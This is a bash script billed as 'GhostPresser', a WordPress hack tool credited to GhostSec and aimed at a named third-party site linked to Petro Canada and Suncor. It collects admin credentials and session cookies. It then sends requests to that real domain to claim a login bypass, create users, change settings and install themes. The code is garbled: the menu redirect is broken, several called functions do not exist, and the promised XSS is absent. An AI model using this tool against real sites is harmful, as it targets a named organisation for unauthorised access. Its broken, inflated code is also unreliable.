GhostPresser ( Hack Tool Designed To XSS Suncor Thru 3rd Party Petro Canada

bash
#!/bin/bash

# GhostPresser Wordpress Admin Bypass And Hack Tool
# Petro Canada Hack
# We Are GhostSec

get_user_input() {
    read -p "$1: " input_value
    echo "$input_value"
}

handle_error() {
    local error_message="$1"
    echo "Error: $error_message"
    exit 1
}

login_and_action() {
    local wp_admin_user
    local wp_admin_pass
    local wp_url

    wp_admin_user=$(get_user_input "Enter WordPress Admin Username")
    wp_admin_pass=$(get_user_input -s "Enter WordPress Admin Password")
    wp_url=$(get_user_input "Enter WordPress URL")

    response=$(curl -s -X POST -d "log=$wp_admin_user&pwd=$wp_admin_pass&wp-submit=Log+In&redirect_to=$wp_url/wp-admin/plugins.php&testcookie=1&exploitwp553=1" "$wp_url/wp-login.php?action=postpass")

    if [[ $response == *"Error"* ]]; then
        handle_error "Login failed. Check your credentials and try again."
    else
        echo "Login successful. Action performed."
    fi
}

activate_plugin() {
    local plugin_name
    local wordpress_logged_in_cookie

    plugin_name=$(get_user_input "Enter Plugin Name")
    wordpress_logged_in_cookie=$(get_user_input "Enter WordPress Logged In Cookie")

    response=$(curl -s -X POST -d "plugin=$plugin_name&action=activate" -b "wordpress_logged_in_cookie=$wordpress_logged_in_cookie" https://karholdings.ca/wp-admin/admin-ajax.php)

    if [[ $response == *"Error"* ]]; then
        handle_error "Plugin activation failed. Check the plugin name and try again."
    else
        echo "Plugin activation successful."
    fi
}

deactivate_plugin() {
    local plugin_name
    local wordpress_logged_in_cookie

    plugin_name=$(get_user_input "Enter Plugin Name")
    wordpress_logged_in_cookie=$(get_user_input "Enter WordPress Logged In Cookie")

    response=$(curl -s -X POST -d "plugin=$plugin_name&action=deactivate" -b "wordpress_logged_in_cookie=$wordpress_logged_in_cookie" https://karholdings.ca/wp-admin/admin-ajax.php)

    if [[ $response == *"Error"* ]]; then
        handle_error "Plugin deactivation failed. Check the plugin name and try again."
    else
        echo "Plugin deactivation successful."
    fi
}

update_core() {
    local wordpress_logged_in_cookie

    wordpress_logged_in_cookie=$(get_user_input "Enter WordPress Logged In Cookie")

    response=$(curl -s -X POST -d "update-core=true" -b "wordpress_logged_in_cookie=$wordpress_logged_in_cookie" https://karholdings.ca/wp-admin/admin-ajax.php)

    if [[ $response == *"Error"* ]]; then
        handle_error "WordPress core update failed. Check your credentials and try again."
    else
        echo "WordPress core update successful."
    fi
}

create_user() {
    local new_user
    local new_password
    local new_user_email
    local wordpress_logged_in_cookie

    new_user=$(get_user_input "Enter New User Name")
    new_password=$(get_user_input -s "Enter New User Password")
    new_user_email=$(get_user_input "Enter New User Email")
    wordpress_logged_in_cookie=$(get_user_input "Enter WordPress Logged In Cookie")

    response=$(curl -s -X POST -d "user_login=$new_user&user_pass=$new_password&email=$new_user_email" -b "wordpress_logged_in_cookie=$wordpress_logged_in_cookie" https://karholdings.ca/wp-admin/admin-ajax.php)

    if [[ $response == *"Error"* ]]; then
        handle_error "User creation failed. Check the user details and try again."
    else
        echo "User creation successful."
    fi
}

change_settings() {
    local option_name
    local option_value
    local wordpress_logged_in_cookie

    option_name=$(get_user_input "Enter Option Name")
    option_value=$(get_user_input "Enter New Option Value")
    wordpress_logged_in_cookie=$(get_user_input "Enter WordPress Logged In Cookie")

    response=$(curl -s -X POST -d "option_name=$option_name&option_value=$option_value" -b "wordpress_logged_in_cookie=$wordpress_logged_in_cookie" https://karholdings.ca/wp-admin/admin-ajax.php)

    if [[ $response == *"Error"* ]]; then
        handle_error "Changing site settings failed. Check the option details and try again."
    else
        echo "Site settings changed successfully."
    fi
}

install_theme() {
    local theme_name
    local wordpress_logged_in_cookie

    theme_name=$(get_user_input "Enter Theme Name")
    wordpress_logged_in_cookie=$(get_user_input "Enter WordPress Logged In Cookie")

    response=$(curl -s -X POST -d "theme=$theme_name&action=install-theme" -b "wordpress_logged_in_cookie=$wordpress_logged_in_cookie" https://karholdings.ca/wp-admin/admin-ajax.php)

    if [[ $response == *"Error"* ]]; then
        handle_error "Theme installation failed. Check the theme name and try again."
    else
        echo "Theme installation successful."
    fi

}

while true; do
    dialog --clear --backtitle "GhostPresser - WordPress Hack Tool" \
        --title "Main Menu" \
        --menu "Choose an option:" \
        1 "Bypass Login and Perform Action" \
        2 "Activate a Plugin" \
        3 "Deactivate a Plugin" \
        4 "Update WordPress Core" \
        5 "Create a New User" \
        6 "Change WordPress Settings" \
        7 "Install a New Theme" \
        8 "Perform Advanced Audit" \
        9 "Perform Expert Audit" \
        10 "Advanced Audit" \
        11 "Expert Audit" \
        12 "Exit" 2>

        choicecase $(<choice) in
        1) bypass login_and_action ;;
        2) activate_plugin ;;
        3) deactivate_plugin ;;
        4) update_core ;;
        5) create_user ;;
        6) change_settings ;;
        7) install_theme ;;
        8) perform_advanced_audit ;;
        9) perform_expert_audit ;;
        10) exit ;;
        *) handle_error "Invalid choice. Please try again." ;;
    esac
done